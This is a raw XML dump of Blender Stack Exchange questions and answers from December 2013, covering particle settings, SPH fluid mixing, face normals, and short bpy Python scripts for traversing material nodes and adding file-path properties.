  <row Id="5463" PostTypeId="1" CreationDate="2013-12-12T01:53:32.993" Score="3" ViewCount="357" Body="&lt;p&gt;I am making a scene with a particle effect system in it, and I am wondering how I can take away the glow from the object. It is really bright, and it is not intended to look like that. Thanks&lt;/p&gt;&#xA;" OwnerUserId="1664" LastActivityDate="2013-12-12T02:15:26.730" Title="how can I make my particle affects not glow?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-12T02:30:27.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="5464" PostTypeId="2" ParentId="5463" CreationDate="2013-12-12T02:15:26.730" Score="4" Body="&lt;p&gt;If you are using Emitter particles, you have to change the render type from Halo to something like Object, and use an object like a cube with a non Halo material on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zhudN.png&quot; alt=&quot;Emitter Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2013-12-12T02:15:26.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5465" PostTypeId="2" ParentId="5454" CreationDate="2013-12-12T02:27:13.283" Score="3" Body="&lt;p&gt;I'm pretty sure that no item has a link to other items that it is used in, you need to loop through arrays and see if the item you are looking for exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have a couple of materials in your blend file then you may want to press &lt;kbd&gt;Home&lt;/kbd&gt; to bring every node into view - it may be located way off to the side. It could also be hiding under another node or inside another group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a lot of materials you can find which material they are in with a script like this -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for mat in bpy.data.materials:&#xA;    for mat_node in mat.node_tree.nodes:&#xA;        if mat_node.type == 'GROUP' and mat_node.node_tree.name == 'BadGroupName':&#xA;            print (&quot;nodegroup in &quot;+mat.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your sure you don't want the group you could remove it instead of showing the material name, I'd rather look to make sure deleting it doesn't break things unexpectedly. You could also select the group node and bring it into view.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-12T02:27:13.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5466" PostTypeId="1" CreationDate="2013-12-12T02:52:16.503" Score="5" ViewCount="1172" Body="&lt;p&gt;I am scripting a plugin in Blender Python (using the newest Blender version, 2.69) and I want to select a region with the Border Select tool in the 3DViewport. I have looked this up in the documentation, and it is extremely confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.ops.view3d.html?highlight=select_border#bpy.ops.view3d.select_border&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.ops.view3d.html?highlight=select_border#bpy.ops.view3d.select_border&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need an example on how this is supposed to work. Every time I just put the following in my script, it gives this error. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bpy.ops.view3d.select_border(gesture_mode=0, xmin=0, xmax=0, ymin=0, ymax=0, extend=True)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jZZEB.png&quot; alt=&quot;Error Message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note, the large black spots in the picture are where I took out my folder structure ;) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance!&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="2217" LastEditDate="2015-05-25T13:26:06.787" LastActivityDate="2015-05-25T13:26:06.787" Title="Python - 3DView Border Select" Tags="&lt;python&gt;&lt;scripting&gt;&lt;3d-view&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5467" PostTypeId="1" CreationDate="2013-12-12T02:53:54.940" Score="3" ViewCount="2571" Body="&lt;p&gt;So in edit mode when I export my hand model into unity 3d, the hand resets its position, but when I go into edit mode the hand also goes back to its original position. I have a animation with it, so if I select the armature the hand doesn't animate. Hard to explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OKfLk.png&quot; alt=&quot;Hand&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ykK3c.png&quot; alt=&quot;Hand edit mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="743" LastEditDate="2013-12-16T07:04:48.490" LastActivityDate="2016-12-04T15:39:58.217" Title="Arm resets position when exported?" Tags="&lt;export&gt;&lt;rigging&gt;&lt;external-applications&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5468" PostTypeId="2" ParentId="5165" CreationDate="2013-12-12T02:56:43.957" Score="-3" Body="&lt;p&gt;The Cycles Glossy shader allows reflection, while the Diffuse does not have reflection. Even when you set the glossy's roughness to a high value, it is still reflecting somewhat. One thing that might help your investigation is if you increased the samples on your image. :)&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2013-12-12T02:56:43.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5469" PostTypeId="1" AcceptedAnswerId="5470" CreationDate="2013-12-12T03:03:03.763" Score="11" ViewCount="4934" Body="&lt;p&gt;&lt;strong&gt;How to assign a different color / material to each inflow object in one simulation (bake)?&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following example we tried to mix two inflows and experience the mixing between the two fluids. However, as &lt;code&gt;bake&lt;/code&gt; starts there is only one domain object as fluid (object!) which does not respect color / material assigned to inflow objects!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hsaVc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="14" LastEditDate="2013-12-12T11:07:01.473" LastActivityDate="2016-08-31T22:09:33.483" Title="Different materials for each fluid inflow?" Tags="&lt;animation&gt;&lt;materials&gt;&lt;fluid-simulation&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5470" PostTypeId="2" ParentId="5469" CreationDate="2013-12-12T03:05:15.790" Score="3" Body="&lt;p&gt;Unfortunately, I don't know of any way to do this with the main fluid simulator, however it is possible with &lt;a href=&quot;https://www.blender.org/manual/physics/particles/properties/physics/fluid.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender's SPH fluid simulator&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note that there is currently no way to convert fluid particles into a mesh from blender. There are some python scripts that do this, but these are mostly pretty slow. There are also a few patches, but it seems development on these has been dropped for the most part.&lt;/p&gt;&#xA;&lt;p&gt;Some advantages of the SPH fluid simulator:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;No domain bounds&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Supports inter-fluid interactions&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Supports &lt;a href=&quot;https://www.blender.org/manual/physics/force_fields/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;force fields&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To mix to different colored fluids:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create two emitter planes (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Mesh &amp;gt; Plane&lt;/em&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oSGwe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add two separate particle systems to the planes in &lt;em&gt;Properties &amp;gt; Particles&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/adD9C.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the &lt;em&gt;Life time&lt;/em&gt; of the particles in &lt;em&gt;Particles &amp;gt; Emission&lt;/em&gt; to be at least equal to the scene end frame:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gIjtW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the particle physics to &lt;em&gt;Fluid&lt;/em&gt; in &lt;em&gt;Particles &amp;gt; Physics&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qZLF7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an object to represent the fluid particles. It should be very low-poly, a 1 division icosphere works well (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Mesh &amp;gt; Icosphere&lt;/em&gt;). Note that you will need one for each color:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hgQle.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Shading&lt;/em&gt; to &lt;em&gt;Smooth&lt;/em&gt; on the icospheres and move them to another layer (&lt;kbd&gt;M&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the particle type to &lt;em&gt;Object&lt;/em&gt; in &lt;em&gt;Particles &amp;gt; Render&lt;/em&gt; and select an icosphere in &lt;em&gt;Dupli Object&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UK5xk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;Particles &amp;gt; Physics &amp;gt; Fluid interaction&lt;/em&gt; press the &lt;strong&gt;+&lt;/strong&gt; button to add an particle system interaction and select the other emitter plane as the particle system object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KWP2M.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With both planes setup this way, add another object (e.g. a floor plane) and make it a collision object in &lt;em&gt;Properties &amp;gt; Physics&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AHkTR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create separate materials for each of the icospheres.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Size&lt;/em&gt; (in &lt;em&gt;Particles &amp;gt; Physics&lt;/em&gt;) and &lt;em&gt;Number&lt;/em&gt; (in &lt;em&gt;Particles &amp;gt; Emission&lt;/em&gt;) for each particle system. Larger particles = lower resolution, smaller = higher resolution. Adjust these settings so as to make the particles appear as a fluid without making the simulation too heavy.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CJNFF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may also want to set the &lt;em&gt;cache step&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt; in &lt;em&gt;Particles &amp;gt; Cache&lt;/em&gt; for each particle system to ensure accurate caching.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqukV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dv94G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://www.blender.org/manual/physics/particles/properties/physics/fluid.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for more information about each setting.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-08-31T22:09:33.483" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5471" PostTypeId="2" ParentId="5462" CreationDate="2013-12-12T06:23:50.453" Score="15" Body="&lt;p&gt;The python path to the links between each node is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.materials[].node_tree.nodes[].inputs[].links[].from_node&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for each material we want to start at the Material Output node then loop through each array of &lt;code&gt;inputs[]&lt;/code&gt; and &lt;code&gt;links[]&lt;/code&gt; to move through the connections. Going this way (using from_node) there should only be one link for each input, but if you want to reverse the order (by using to_node) you can have multiple links for each output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def followLinks(node_in):&#xA;    for n_inputs in node_in.inputs:&#xA;        for node_links in n_inputs.links:&#xA;            print(&quot;going to &quot; + node_links.from_node.name)&#xA;            followLinks(node_links.from_node)&#xA;&#xA;for mat in bpy.data.materials:&#xA;    print(&quot;Traversing &quot; + mat.name)&#xA;    for mat_node in mat.node_tree.nodes:&#xA;        if mat_node.type == 'OUTPUT_MATERIAL':&#xA;            # we start at the material output node&#xA;            print(&quot;Starting at &quot; + mat_node.name)&#xA;            followLinks(mat_node)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-12T06:23:50.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5472" PostTypeId="2" ParentId="5458" CreationDate="2013-12-12T06:24:44.943" Score="7" Body="&lt;p&gt;Assuming you mean by seam an edge loop like the one selected in this image (along the y-axis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vngib.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have applied the mirror modifier you could:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the edge loop &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Delete edge loop &lt;kbd&gt;X&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I wouldn't recommend to apply the modifier since you couldn't apply symetrical changes as easy as before. IMHO it's not worth to sacrifice editability for saving a few faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RxzLo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2o5xo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-12-12T06:49:04.237" LastActivityDate="2013-12-12T06:49:04.237" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5473" PostTypeId="2" ParentId="5459" CreationDate="2013-12-12T07:59:18.847" Score="7" Body="&lt;p&gt;You define the type when you create the socket with &lt;code&gt;new()&lt;/code&gt; Looking at the list on the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.html&quot; rel=&quot;noreferrer&quot;&gt;bpy.types page&lt;/a&gt; there are several starting with &lt;code&gt;NodeSocket&lt;/code&gt; that can be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variations of each type alter the visual display - eg. FloatPercent shows % with the value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NodeSocketBool&#xA;NodeSocketColor&#xA;NodeSocketFloat&#xA;NodeSocketFloatAngle&#xA;NodeSocketFloatFactor&#xA;NodeSocketFloatPercentage&#xA;NodeSocketFloatTime&#xA;NodeSocketFloatUnsigned&#xA;NodeSocketInt&#xA;NodeSocketIntFactor&#xA;NodeSocketIntPercentage&#xA;NodeSocketIntUnsigned&#xA;NodeSocketShader&#xA;NodeSocketString&#xA;NodeSocketVector&#xA;NodeSocketVectorAcceleration&#xA;NodeSocketVectorDirection&#xA;NodeSocketVectorEuler&#xA;NodeSocketVectorTranslation&#xA;NodeSocketVectorVelocity&#xA;NodeSocketVectorXYZ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-12T07:59:18.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5474" PostTypeId="1" AcceptedAnswerId="5476" CreationDate="2013-12-12T09:49:57.737" Score="7" ViewCount="5145" Body="&lt;p&gt;I'm writing a python script wich is going to import custom data in custom file. For now, for choosing the file I've to do this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iws27.png&quot; alt=&quot;ui old&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's not very useful because you have to type the path of file by yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create somthing like this : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BVkwi.png&quot; alt=&quot;ui new&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to create quick interface like that. With a file browser button and the path of selected file edit box is linked at the path of file wich you have selected with the little 'file' button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not asking for a full code. (of course if you have a full code I'll accept it :D) But if you have just an explanation of how to do this and how the 'path of file' button work, it will be very helpfull.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2019-08-15T08:27:22.743" Title="Open file browser with python" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5475" PostTypeId="2" ParentId="5434" CreationDate="2013-12-12T10:06:07.647" Score="1" Body="&lt;p&gt;Sorry for bothering, looks like it was a floating bug. Аfter some another runs all first frames are correct, seems python driver works after that unclear behavior. Question is closed for me.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2013-12-12T10:06:07.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5476" PostTypeId="2" ParentId="5474" CreationDate="2013-12-12T10:09:28.777" Score="12" Body="&lt;p&gt;Add a &lt;a href=&quot;https://docs.blender.org/api/current/bpy.props.html#bpy.props.StringProperty&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;StringProperty&lt;/code&gt;&lt;/a&gt; to your operator, then set its &lt;code&gt;subtype&lt;/code&gt; to either &lt;code&gt;FILE_PATH&lt;/code&gt; or &lt;code&gt;DIR_PATH&lt;/code&gt;. For example, this bit of code in my addon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class OHA_QuickLink_Props(bpy.types.PropertyGroup):&#xA;    root_folder = StringProperty(&#xA;        name=&quot;Root Folder&quot;,&#xA;        description=&quot;Only .blend files two levels below this folder will be listed.&quot;,&#xA;        subtype=&quot;DIR_PATH&quot;,&#xA;        update=update_oha_quicklink_root_folder)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Blender 2.8x&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class OHA_QuickLink_Props(bpy.types.PropertyGroup):&#xA;    root_folder : StringProperty(&#xA;        name=&quot;Root Folder&quot;,&#xA;        description=&quot;Only .blend files two levels below this folder will be listed.&quot;,&#xA;        subtype=&quot;DIR_PATH&quot;,&#xA;        update=update_oha_quicklink_root_folder)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;yields the following text field when drawn:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JKGMN.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="3710" LastEditDate="2019-08-15T08:27:22.743" LastActivityDate="2019-08-15T08:27:22.743" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="5477" PostTypeId="1" CreationDate="2013-12-12T10:38:53.687" Score="2" ViewCount="258" Body="&lt;p&gt;I've created a simple mesh (a cube) and two simple animations for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First animation - cube going up and down (its location was adjusted and keyframed).&#xA;Second animation, an modified copy of the first one - cube rotating back and forth (location and rotation were keyframed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I pausing the second animation in the middle, so that cube is rotated for an angle, and switch action to the first one. Cube rotation still applied. It moving up and down normally, but it also has rotation left from second animation, from particular frame where it was paused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it expected behaviour? Because I expected, if there is no keyframes on particular transformation, then it must be set to some default value, not captured from another animation current state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this effect is additive - if several actions exists which using different transformations, then switching between them make the model to be a total irreversible mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have I do wrong?&lt;/p&gt;&#xA;" OwnerUserId="1632" LastEditorUserId="1632" LastEditDate="2013-12-12T11:39:00.293" LastActivityDate="2013-12-12T11:39:00.293" Title="Actions/animations interference" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5478" PostTypeId="1" CreationDate="2013-12-12T12:32:18.980" Score="5" ViewCount="358" Body="&lt;p&gt;I'm trying to import a &lt;code&gt;*.c3d&lt;/code&gt; motion capture file into Blender, but when I click the &lt;em&gt;Import C3D&lt;/em&gt; button, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eoK2f.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong?&lt;/p&gt;&#xA;" OwnerUserId="1833" LastEditorUserId="12" LastEditDate="2014-04-22T20:45:12.253" LastActivityDate="2014-04-22T20:45:12.253" Title="C3D Importer does not work, Context is incorrect error" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5480" PostTypeId="1" AcceptedAnswerId="5482" CreationDate="2013-12-12T13:40:26.963" Score="8" ViewCount="2091" Body="&lt;p&gt;I have a problem where I can see through a box in blender game, see picture. This effect changes so that the near side of the &quot;chassis&quot; of the truck is invisible when I rotate the model&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7jRJm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to not make this happen?&lt;/p&gt;&#xA;" OwnerUserId="1835" LastEditorUserId="5426" LastEditDate="2016-01-06T16:45:50.450" LastActivityDate="2016-01-06T16:45:50.450" Title="Why can I see through a box in blender game engine?" Tags="&lt;game-engine&gt;&lt;normals&gt;" AnswerCount="3" CommentCount="0" ClosedDate="2016-01-06T20:34:45.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="5481" PostTypeId="2" ParentId="5480" CreationDate="2013-12-12T14:39:52.270" Score="7" Body="&lt;p&gt;I think something wrong with face normals, you could check it this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oe67x.png&quot; alt=&quot;Normals&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually these lines should be at outer side of object volume. Track body shouldn't be considered as just box without top, it is very thin object with surfaces directed to &quot;inside&quot; and &quot;outside&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2013-12-12T14:39:52.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5482" PostTypeId="2" ParentId="5480" CreationDate="2013-12-12T14:40:15.467" Score="9" Body="&lt;p&gt;The normal (1) of the invisible face points in the wrong direction you can fix that by selecting the face and &lt;kbd&gt;Ctrl-N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aHN4r.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can verfiy this by displaying the normals (2)&lt;/p&gt;&#xA;&lt;p&gt;Alternatively you could disable Backface Culling in the material's Game Settings (3).&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-29T06:57:01.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5483" PostTypeId="1" CreationDate="2013-12-12T16:51:42.727" Score="4" ViewCount="10116" Body="&lt;p&gt;I am fairly new to blender, and I am wondering how to change the size of the particles I am working with. They are way to big. Thanks&lt;/p&gt;&#xA;" OwnerUserId="1664" LastActivityDate="2019-06-05T06:21:21.943" Title="how can I change the size of particles?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5484" PostTypeId="1" CreationDate="2013-12-12T16:58:20.390" Score="4" ViewCount="543" Body="&lt;p&gt;Got some problems when trying erase colors with a Dynamic paint brush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have plane which is affected by particles Dynamic paint brush (surface &amp;amp; color).&#xA;When I try erase some spaces on the plane it works in 3D view but not with render output. So how to make render output work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m9wKZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="1751" LastEditDate="2013-12-12T17:20:40.793" LastActivityDate="2013-12-12T17:20:40.793" Title="Dynamic Paint Brush Erase doesn't work in Render Output" Tags="&lt;cycles-render-engine&gt;&lt;dynamic-paint&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5485" PostTypeId="2" ParentId="5483" CreationDate="2013-12-12T17:01:04.987" Score="3" Body="&lt;p&gt;This can be changed in the particle settings under either &lt;em&gt;Physics&lt;/em&gt; or &lt;em&gt;Render&lt;/em&gt; (when using a display type that allows this) with the &lt;em&gt;Size&lt;/em&gt; slider. You can also change the size of your particle objects by scaling the main object(s) you are using but it's best to control the size via the particle settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can randomize the size of your particles by using the &lt;em&gt;Random Size&lt;/em&gt; slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MUIpR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-12T17:13:14.820" LastActivityDate="2013-12-12T17:13:14.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5486" PostTypeId="1" AcceptedAnswerId="5489" CreationDate="2013-12-12T17:22:35.080" Score="14" ViewCount="13531" Body="&lt;p&gt;I want to add a gradient background to my render, but &lt;strong&gt;within&lt;/strong&gt; the compositor (not with the actual &lt;em&gt;background&lt;/em&gt; world setting of the scene). I would also like to don't have to use an image (neither external nor internal) to achieve that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rendered my image with &lt;em&gt;transparent&lt;/em&gt; enabled in &lt;em&gt;film&lt;/em&gt; section of &lt;em&gt;render&lt;/em&gt; panel. Then I tried to add a &lt;em&gt;ColorRamp&lt;/em&gt; node with an &lt;em&gt;Alpha over&lt;/em&gt; node, but now I'm stick on how to give a &lt;strong&gt;Factor&lt;/strong&gt; to this color ramp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought is to give it some coordinates corresponding to Y axis of the image, but I can't find a way to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a node that give some image coordinates ? (like &lt;em&gt;mapping&lt;/em&gt; node in materials)&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2013-12-12T18:13:51.617" LastActivityDate="2014-06-29T20:36:04.983" Title="How to create a gradient backround in the compositor?" Tags="&lt;compositor&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
